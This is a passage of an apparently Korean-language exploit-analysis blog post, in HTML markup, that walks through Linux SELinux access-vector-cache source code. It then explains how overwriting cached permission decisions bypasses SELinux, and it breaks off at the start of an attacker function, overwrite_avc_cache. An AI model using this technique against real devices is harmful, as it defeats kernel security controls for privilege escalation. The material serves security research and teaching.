class="n">atomic_t</span> <span class="n">active_nodes</span><span class="p">;</span> + <span class="n">u32</span> <span class="n">latest_notif</span><span class="p">;</span> <span class="cm">/* latest revocation notification */</span> +<span class="p">};</span> + +<span class="k">struct</span> <span class="n">avc_node</span> <span class="p">{</span> + <span class="k">struct</span> <span class="n">avc_entry</span> <span class="n">ae</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">hlist_node</span> <span class="n">list</span><span class="p">;</span> <span class="cm">/* anchored in avc_cache-&gt;slots[i] */</span> + <span class="k">struct</span> <span class="n">rcu_head</span> <span class="n">rhead</span><span class="p">;</span> +<span class="p">};</span> + +<span class="k">struct</span> <span class="n">avc_entry</span> <span class="p">{</span> + <span class="n">u32</span> <span class="n">ssid</span><span class="p">;</span> + <span class="n">u32</span> <span class="n">tsid</span><span class="p">;</span> + <span class="n">u16</span> <span class="n">tclass</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">av_decision</span> <span class="n">avd</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">avc_xperms_node</span> <span class="o">*</span><span class="n">xp_node</span><span class="p">;</span> +<span class="p">};</span> + +<span class="c1">// /security/selinux/include/security.h</span> +<span class="k">struct</span> <span class="n">av_decision</span> <span class="p">{</span> + <span class="n">u32</span> <span class="n">allowed</span><span class="p">;</span> + <span class="n">u32</span> <span class="n">auditallow</span><span class="p">;</span> + <span class="n">u32</span> <span class="n">auditdeny</span><span class="p">;</span> + <span class="n">u32</span> <span class="n">seqno</span><span class="p">;</span> + <span class="n">u32</span> <span class="n">flags</span><span class="p">;</span> +<span class="p">};</span> +</code></pre></div></div> + +<p>위 구조체들의 연결 관계를 살펴보면 다음과 같다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android9.png" alt="그림 9. avc_cache와 avc_node 사이의 연결 관계" /></p> + +<p>위 구조체에서 주의 깊게 봐야 하는 부분은 avc_cache에서 avc_node로 향하는 list pointer를 나눌 때, hash값을 기준으로 나눈다는 점이다. 같은 hash를 가진 avc_node의 경우 avc_node.hlist_node에 의하여 linked list로 연결되어있다. +그리고 실제 동작을 허용 여부를 결정하는 av_decision은 avc_entry에 내장되어고, 다시 avc_entry는 avc_node에 속해있다.</p> + +<p><br /></p> + +<h3 id="543-dive-into-source-code">5.4.3 Dive into source code</h3> + +<p>SELinux에서 subject가 avc에 쿼리를 보내서 접근 제어를 결정하기 위해 확인하는 함수는 avc_has_perm함수이다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/avc.c</span> + +<span class="cm">/** + * avc_has_perm - Check permissions and perform any appropriate auditing. + * @ssid: source security identifier + * @tsid: target security identifier + * @tclass: target security class + * @requested: requested permissions, interpreted based on @tclass + * @auditdata: auxiliary audit data + * + * Check the AVC to determine whether the @requested permissions are granted + * for the SID pair (@ssid, @tsid), interpreting the permissions + * based on @tclass, and call the security server on a cache miss to obtain + * a new decision and add it to the cache. Audit the granting or denial of + * permissions in accordance with the policy. Return %0 if all @requested + * permissions are granted, -%EACCES if any permissions are denied, or + * another -errno upon other errors. + */</span> + +<span class="kt">int</span> <span class="nf">avc_has_perm</span><span class="p">(</span><span class="n">u32</span> <span class="n">ssid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">u16</span> <span class="n">tclass</span><span class="p">,</span> + <span class="n">u32</span> <span class="n">requested</span><span class="p">,</span> <span class="k">struct</span> <span class="n">common_audit_data</span> <span class="o">*</span><span class="n">auditdata</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">av_decision</span> <span class="n">avd</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">rc</span><span class="p">,</span> <span class="n">rc2</span><span class="p">;</span> + + <span class="n">rc</span> <span class="o">=</span> <span class="n">avc_has_perm_noaudit</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">avd</span><span class="p">);</span> + + <span class="n">rc2</span> <span class="o">=</span> <span class="n">avc_audit</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">avd</span><span class="p">,</span> <span class="n">rc</span><span class="p">,</span> <span class="n">auditdata</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">rc2</span><span class="p">)</span> + <span class="k">return</span> <span class="n">rc2</span><span class="p">;</span> + <span class="k">return</span> <span class="n">rc</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<ul> + <li> + <p>avc_has_perm의 주석을 살펴보면 아래와 같다.</p> + + <p>”AVC를 확인하여 요청된 권한이 SID pair(@ssid, @tsid)에 대해 허용되는지 확인하고 tclass 기반으로 권한을 해석한 후, cache가 없는 경우 security server를 호출하여 새 decision을 받아 cache에 추가한다. 정책에 따라서 권한을 허용하거나 거부한다 [….]”</p> + + <ul> + <li>ssid: source security identifier (접근 주체)</li> + <li>tsid: target security identifier (접근 대상)</li> + <li>tclass: target security class (대상 리소스의 유형)</li> + <li>requested: requested permissions, interpreted based on @tclass (요청한 권한)</li> + <li>auditdata: auxiliary audit data</li> + </ul> + </li> +</ul> + +<p><br /></p> + +<p>먼저 avc_has_perm_noaudit을 살펴보면 다음과 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/avc.c</span> +<span class="kr">inline</span> <span class="kt">int</span> <span class="nf">avc_has_perm_noaudit</span><span class="p">(</span><span class="n">u32</span> <span class="n">ssid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">tsid</span><span class="p">,</span> + <span class="n">u16</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">u32</span> <span class="n">requested</span><span class="p">,</span> + <span class="kt">unsigned</span> <span class="n">flags</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">av_decision</span> <span class="o">*</span><span class="n">avd</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">avc_node</span> <span class="o">*</span><span class="n">node</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">avc_xperms_node</span> <span class="n">xp_node</span><span class="p">;</span> + <span class="c1">// [...]</span> + <span class="n">node</span> <span class="o">=</span> <span class="n">avc_lookup</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="o">!</span><span class="n">node</span><span class="p">))</span> + <span class="n">node</span> <span class="o">=</span> <span class="n">avc_compute_av</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">avd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">xp_node</span><span class="p">);</span> + <span class="k">else</span> + <span class="n">memcpy</span><span class="p">(</span><span class="n">avd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">ae</span><span class="p">.</span><span class="n">avd</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">avd</span><span class="p">));</span> + + <span class="n">denied</span> <span class="o">=</span> <span class="n">requested</span> <span class="o">&amp;</span> <span class="o">~</span><span class="p">(</span><span class="n">avd</span><span class="o">-&gt;</span><span class="n">allowed</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">denied</span><span class="p">))</span> + <span class="n">rc</span> <span class="o">=</span> <span class="n">avc_denied</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">flags</span><span class="p">,</span> <span class="n">avd</span><span class="p">);</span> + + <span class="n">rcu_read_unlock</span><span class="p">();</span> + <span class="k">return</span> <span class="n">rc</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<ul> + <li> + <p><code class="language-plaintext highlighter-rouge">avc_lookup(ssid, tsid, tclass)</code>를 통해 node를 찾는 것처럼 보이는 데 실제로 코드를 확인해 보면 아래와 같다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /security/selinux/avc.c</span> + <span class="k">static</span> <span class="k">struct</span> <span class="n">avc_node</span> <span class="o">*</span><span class="nf">avc_lookup</span><span class="p">(</span><span class="n">u32</span> <span class="n">ssid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">u16</span> <span class="n">tclass</span><span class="p">)</span> + <span class="p">{</span> + <span class="k">struct</span> <span class="n">avc_node</span> <span class="o">*</span><span class="n">node</span><span class="p">;</span> + + <span class="n">avc_cache_stats_incr</span><span class="p">(</span><span class="n">lookups</span><span class="p">);</span> + <span class="n">node</span> <span class="o">=</span> <span class="n">avc_search_node</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">);</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">node</span><span class="p">)</span> + <span class="k">return</span> <span class="n">node</span><span class="p">;</span> + + <span class="n">avc_cache_stats_incr</span><span class="p">(</span><span class="n">misses</span><span class="p">);</span> + <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="p">}</span> + +</code></pre></div> </div> + + <ul> + <li><code class="language-plaintext highlighter-rouge">avc_search_node</code>에 ssid, tsid, tclass를 인자로 줘서 node를 찾는다.</li> + </ul> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /security/selinux/avc.c</span> + <span class="k">static</span> <span class="kr">inline</span> <span class="k">struct</span> <span class="n">avc_node</span> <span class="o">*</span><span class="nf">avc_search_node</span><span class="p">(</span><span class="n">u32</span> <span class="n">ssid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">u16</span> <span class="n">tclass</span><span class="p">)</span> + <span class="p">{</span> + <span class="k">struct</span> <span class="n">avc_node</span> <span class="o">*</span><span class="n">node</span><span class="p">,</span> <span class="o">*</span><span class="n">ret</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">hvalue</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">hlist_head</span> <span class="o">*</span><span class="n">head</span><span class="p">;</span> + + <span class="n">hvalue</span> <span class="o">=</span> <span class="n">avc_hash</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">);</span> + <span class="n">head</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">avc_cache</span><span class="p">.</span><span class="n">slots</span><span class="p">[</span><span class="n">hvalue</span><span class="p">];</span> + <span class="n">hlist_for_each_entry_rcu</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">head</span><span class="p">,</span> <span class="n">list</span><span class="p">)</span> <span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="n">ssid</span> <span class="o">==</span> <span class="n">node</span><span class="o">-&gt;</span><span class="n">ae</span><span class="p">.</span><span class="n">ssid</span> <span class="o">&amp;&amp;</span> + <span class="n">tclass</span> <span class="o">==</span> <span class="n">node</span><span class="o">-&gt;</span><span class="n">ae</span><span class="p">.</span><span class="n">tclass</span> <span class="o">&amp;&amp;</span> + <span class="n">tsid</span> <span class="o">==</span> <span class="n">node</span><span class="o">-&gt;</span><span class="n">ae</span><span class="p">.</span><span class="n">tsid</span><span class="p">)</span> <span class="p">{</span> + <span class="n">ret</span> <span class="o">=</span> <span class="n">node</span><span class="p">;</span> + <span class="k">break</span><span class="p">;</span> + <span class="p">}</span> + <span class="p">}</span> + + <span class="k">return</span> <span class="n">ret</span><span class="p">;</span> + <span class="p">}</span> +</code></pre></div> </div> + + <ul> + <li>line 8 : ssid, tsid, tclass를 기준으로 hash값을 계산한다.</li> + <li>line 9 : 해당 hash에 해당하는 <code class="language-plaintext highlighter-rouge">avc_cache.slots</code>의 <code class="language-plaintext highlighter-rouge">hlist_head</code>를 구한다. + <ul> + <li>hlist_head에는 같은 hash를 가진 avc_node들이 list로 연결되어 있다. (그림 9 참조)</li> + </ul> + </li> + <li>line 10~17 : hlist_head에 연결된 head중에 ssid, tclass, tsid가 일치하는 node를 찾는다.</li> + </ul> + </li> +</ul> + +<p><br /></p> + +<p>다시 avc_has_perm_noaudit으로 돌아와서 위 과정을 통해 알맞은 node를 찾았을 경우 찾은 node의 <code class="language-plaintext highlighter-rouge">avd(av_decision)</code>을 avd로 복사한다. 하지만 node를 찾지 못한 경우, <code class="language-plaintext highlighter-rouge">avc_compute_av</code>함수를 진행한다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/avc.c</span> +<span class="c1">// avc_has_perm_noaudit() line 11</span> + <span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="o">!</span><span class="n">node</span><span class="p">))</span> + <span class="n">node</span> <span class="o">=</span> <span class="n">avc_compute_av</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">avd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">xp_node</span><span class="p">);</span> + <span class="k">else</span> + <span class="nf">memcpy</span><span class="p">(</span><span class="n">avd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">ae</span><span class="p">.</span><span class="n">avd</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">avd</span><span class="p">));</span> +</code></pre></div></div> + +<p><br /></p> + +<p><code class="language-plaintext highlighter-rouge">avc_compute_av</code>함수는 아래와 같다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// /security/selinux/avc.c +static noinline struct avc_node *avc_compute_av(u32 ssid, u32 tsid, + u16 tclass, struct av_decision *avd, + struct avc_xperms_node *xp_node) +{ + rcu_read_unlock(); + INIT_LIST_HEAD(&amp;xp_node-&gt;xpd_head); + security_compute_av(ssid, tsid, tclass, avd, &amp;xp_node-&gt;xp); + rcu_read_lock(); + return avc_insert(ssid, tsid, tclass, avd, xp_node); +} +</code></pre></div></div> + +<p>함수 깊숙이 들어가면 너무 복잡해져서 간단히 설명하면 아래와 같다.</p> + +<ul> + <li>line 8 : security_compute_av : ssid, tsid, tclass를 기준으로 SELinux에서 사용할 새로운 context를 만든다. 그리고 avd를 초기화하여 세팅한다.</li> + <li>line 10 : 새로운 node를 만들고 세팅한 다음, hash를 계산해서 avc_cache.slots에 일치하는 hash 위치의 list에 연결한다.</li> +</ul> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android10.png" alt="그림 10. insert new node" /></p> + +<p><br /></p> + +<p>다시 avc_has_perm_noaudit으로 돌아와서, 앞선 과정에 의해 avd(av_decision)이 결정된 상태로 아래 코드가 수행된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// avc_has_perm_noaudit() line 16</span> + <span class="n">denied</span> <span class="o">=</span> <span class="n">requested</span> <span class="o">&amp;</span> <span class="o">~</span><span class="p">(</span><span class="n">avd</span><span class="o">-&gt;</span><span class="n">allowed</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">denied</span><span class="p">))</span> + <span class="n">rc</span> <span class="o">=</span> <span class="n">avc_denied</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">flags</span><span class="p">,</span> <span class="n">avd</span><span class="p">);</span> + + <span class="n">rcu_read_unlock</span><span class="p">();</span> + <span class="k">return</span> <span class="n">rc</span><span class="p">;</span> +<span class="err">}</span> +</code></pre></div></div> + +<p>요청된 request가 avd-&gt;allowed에 포함되는지 확인하고, 그렇지 않을 경우 avc_denied함수를 호출하고, 허용될 경우 rc를 반환한다.</p> + +<p><code class="language-plaintext highlighter-rouge">avc_denied</code>함수는 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/avc.c</span> +<span class="k">static</span> <span class="n">noinline</span> <span class="kt">int</span> <span class="nf">avc_denied</span><span class="p">(</span><span class="n">u32</span> <span class="n">ssid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">tsid</span><span class="p">,</span> + <span class="n">u16</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">u32</span> <span class="n">requested</span><span class="p">,</span> + <span class="n">u8</span> <span class="n">driver</span><span class="p">,</span> <span class="n">u8</span> <span class="n">xperm</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">flags</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">av_decision</span> <span class="o">*</span><span class="n">avd</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">AVC_STRICT</span><span class="p">)</span> + <span class="k">return</span> <span class="o">-</span><span class="n">EACCES</span><span class="p">;</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">selinux_enforcing</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="p">(</span><span class="n">avd</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">AVD_FLAGS_PERMISSIVE</span><span class="p">))</span> + <span class="k">return</span> <span class="o">-</span><span class="n">EACCES</span><span class="p">;</span> + + <span class="n">avc_update_node</span><span class="p">(</span><span class="n">AVC_CALLBACK_GRANT</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="n">driver</span><span class="p">,</span> <span class="n">xperm</span><span class="p">,</span> <span class="n">ssid</span><span class="p">,</span> + <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">avd</span><span class="o">-&gt;</span><span class="n">seqno</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> + <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<ul> + <li><code class="language-plaintext highlighter-rouge">avc_denied</code>함수에서는 flag와 linux kernel 설정에 따라 <code class="language-plaintext highlighter-rouge">-EACCESS</code> 에러를 호출하거나 avc_update_node함수를 통해 avc_node의 설정값을 바꾼다.</li> +</ul> + +<p><br /></p> + +<p><code class="language-plaintext highlighter-rouge">avc_has_perm_nodaudit</code>함수가 이렇게 return되고, <code class="language-plaintext highlighter-rouge">avc_has_perm</code> 함수로 돌아와서 <code class="language-plaintext highlighter-rouge">avc_audit</code>함수가 실행된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// avc_has_perm() line 26</span> + <span class="n">rc</span> <span class="o">=</span> <span class="n">avc_has_perm_noaudit</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">avd</span><span class="p">);</span> + + <span class="n">rc2</span> <span class="o">=</span> <span class="n">avc_audit</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">avd</span><span class="p">,</span> <span class="n">rc</span><span class="p">,</span> <span class="n">auditdata</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">rc2</span><span class="p">)</span> + <span class="k">return</span> <span class="n">rc2</span><span class="p">;</span> + <span class="k">return</span> <span class="n">rc</span><span class="p">;</span> +<span class="err">}</span> + +</code></pre></div></div> + +<p><br /></p> + +<p>이제 <code class="language-plaintext highlighter-rouge">avc_audit</code>함수를 살펴본다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/include/avc.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">int</span> <span class="nf">avc_audit</span><span class="p">(</span><span class="n">u32</span> <span class="n">ssid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">tsid</span><span class="p">,</span> + <span class="n">u16</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">u32</span> <span class="n">requested</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">av_decision</span> <span class="o">*</span><span class="n">avd</span><span class="p">,</span> + <span class="kt">int</span> <span class="n">result</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">common_audit_data</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> + <span class="kt">int</span> <span class="n">flags</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">u32</span> <span class="n">audited</span><span class="p">,</span> <span class="n">denied</span><span class="p">;</span> + <span class="n">audited</span> <span class="o">=</span> <span class="n">avc_audit_required</span><span class="p">(</span><span class="n">requested</span><span class="p">,</span> <span class="n">avd</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">denied</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">likely</span><span class="p">(</span><span class="o">!</span><span class="n">audited</span><span class="p">))</span> + <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> + <span class="k">return</span> <span class="n">slow_avc_audit</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> + <span class="n">requested</span><span class="p">,</span> <span class="n">audited</span><span class="p">,</span> <span class="n">denied</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span> + <span class="n">a</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> +<span class="p">}</span> +</code></pre></div></div> + +<p><br /></p> + +<p><code class="language-plaintext highlighter-rouge">avc_audit</code> 함수에서 먼저 <code class="language-plaintext highlighter-rouge">avc_audit_required</code>함수를 호출한다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/inclue/avc.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="n">u32</span> <span class="nf">avc_audit_required</span><span class="p">(</span><span class="n">u32</span> <span class="n">requested</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">av_decision</span> <span class="o">*</span><span class="n">avd</span><span class="p">,</span> + <span class="kt">int</span> <span class="n">result</span><span class="p">,</span> + <span class="n">u32</span> <span class="n">auditdeny</span><span class="p">,</span> + <span class="n">u32</span> <span class="o">*</span><span class="n">deniedp</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">u32</span> <span class="n">denied</span><span class="p">,</span> <span class="n">audited</span><span class="p">;</span> + <span class="n">denied</span> <span class="o">=</span> <span class="n">requested</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">avd</span><span class="o">-&gt;</span><span class="n">allowed</span><span class="p">;</span> + <span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">denied</span><span class="p">))</span> <span class="p">{</span> + <span class="n">audited</span> <span class="o">=</span> <span class="n">denied</span> <span class="o">&amp;</span> <span class="n">avd</span><span class="o">-&gt;</span><span class="n">auditdeny</span><span class="p">;</span> + <span class="c1">//[...]</span> + <span class="k">if</span> <span class="p">(</span><span class="n">auditdeny</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="p">(</span><span class="n">auditdeny</span> <span class="o">&amp;</span> <span class="n">avd</span><span class="o">-&gt;</span><span class="n">auditdeny</span><span class="p">))</span> + <span class="n">audited</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> + <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">result</span><span class="p">)</span> + <span class="n">audited</span> <span class="o">=</span> <span class="n">denied</span> <span class="o">=</span> <span class="n">requested</span><span class="p">;</span> + <span class="k">else</span> + <span class="n">audited</span> <span class="o">=</span> <span class="n">requested</span> <span class="o">&amp;</span> <span class="n">avd</span><span class="o">-&gt;</span><span class="n">auditallow</span><span class="p">;</span> + <span class="o">*</span><span class="n">deniedp</span> <span class="o">=</span> <span class="n">denied</span><span class="p">;</span> + <span class="k">return</span> <span class="n">audited</span><span class="p">;</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li>line 8 → line 27 : 요청된 권한과 실제 avd가 가지고 있는 권한이 같은 경우, 즉 요청이 허용된 경우에는 audit을 진행하지 않는다고 표기한다. (return 0)</li> + <li>line 8 → line 9 : 요청된 권한과 실제 avd가 가지고 있는 권한이 다른 경우, 즉 요청이 허용되지 않는 경우에는 <code class="language-plaintext highlighter-rouge">avd-&gt;auditdeny</code> 값에 따라서 audited 변수의 값을 정한다.</li> + <li>line 29 : 혹은 앞서 <code class="language-plaintext highlighter-rouge">avc_denied</code> 에 의해 error가 발생한 상황이라면, audited는 <code class="language-plaintext highlighter-rouge">requested &amp; avd-&gt;auditallow</code> 값으로 설정된다.</li> +</ul> + +<p><br /></p> + +<p>다시 <code class="language-plaintext highlighter-rouge">avc_audit</code>으로 돌아와서 <code class="language-plaintext highlighter-rouge">avc_audit_required</code> 함수에서 0이 return 된 경우 ,즉 audit이 필요하지 않다고 판단한 경우에는 0을 return한다. 하지만 audit이 필요한 경우, slow_avc_audit함수를 호출한다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// avc_audit line 11</span> + <span class="k">if</span> <span class="p">(</span><span class="n">likely</span><span class="p">(</span><span class="o">!</span><span class="n">audited</span><span class="p">))</span> + <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> + <span class="k">return</span> <span class="nf">slow_avc_audit</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> + <span class="n">requested</span><span class="p">,</span> <span class="n">audited</span><span class="p">,</span> <span class="n">denied</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span> + <span class="n">a</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> +<span class="err">}</span> +</code></pre></div></div> + +<p>audit 과정을 자세히 들여다 보진 않을 것이지만, request와 avd의 descision, 그리고 앞서 결정된 것들에 의해 여러가지 동작을 수행하게 된다.</p> + +<p><br /> +<br /></p> + +<p>지금까지 살펴본 내용을 정리하자면 다음과 같다.</p> + +<ol> + <li>ssid, tsid, tclass를 기준으로 hash값을 만든다.</li> + <li>만들어진 hash값에 해당하는 avc_cache.slots의 hlist를 가져온다. + <ul> + <li>하나의 slots는 같은 hash를 가진 avc_node들이 hlist(double linked list)로 연결되어 있다.</li> + </ul> + </li> + <li>앞서 구한 slots의 avc_node를 linked list를 순회하며 처음 주어진 ssid, tsid, tclass가 일치하는 avc_node를 구한다.</li> + <li>avc_node를 구했다면, 구한 node의 av_decision을 가져온다.</li> + <li>avc_node를 구하지 못했다면, 새로운 SELinux context를 만들고 decision을 세팅한다. + <ul> + <li>세팅한 내용과 decision을 바탕으로 node를 할당 받은 다음 hash를 구해, 만들어진 hash에 해당하는 avc_cache.slots list에 연결한다.</li> + </ul> + </li> + <li>앞서 구한 node에서 가지고 있는 av_decision과 request를 비교한다.</li> + <li>만약 허용되지 않은 request라면 linux kernel 설정에 따라 추가적인 audit을 진행한다.</li> +</ol> + +<p><br /></p> + +<p>여기서 중요한 것은 SELinux에서 권한을 비교할 때, avc_cache.slots에 hash로 접근해서 avc_node에 있는 decision을 기준으로 비교한다는 것이다. 즉, avc_node에 있는 decision을 원하는 값으로 바꿀 수 있다면 SELinux의 검사를 우회할 수 있다.</p> + +<p>자세한 방법에 대해서는 아래에서 다룬다.</p> + +<p><br /> +<br /></p> + +<h3 id="543-bypass-selinux">5.4.3 Bypass SELinux</h3> + +<p>앞서 SELinux를 Bypass하기 위해서는 avc_cache.slots안에 있는 avc_node의 decision을 바꾸면 된다는 사실을 알았다. 이 챕터에서는 이를 이용하여 실제로 SELinux를 우회하는 방법에 대해서 설명한다.</p> + +<p>먼저 avc_cache를 overwrite하는 함수는 아래와 같다.</p> +<ul> + <li>pAvcCache는 avc_cache 구조체의 주소로, 미리 leak했다고 가정한다.</li> +</ul> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int32_t</span> <span class="nf">overwrite_avc_cache</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">pAvcCache</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">int32_t</span> <span class="n">iRet</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> + <span class="kt">uint64_t</span> <span class="n">pAvcCacheSlot</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> + <span class="kt">uint64_t</span> <span class="n">pAvcDescision</span> <span class="o">=</span> <span 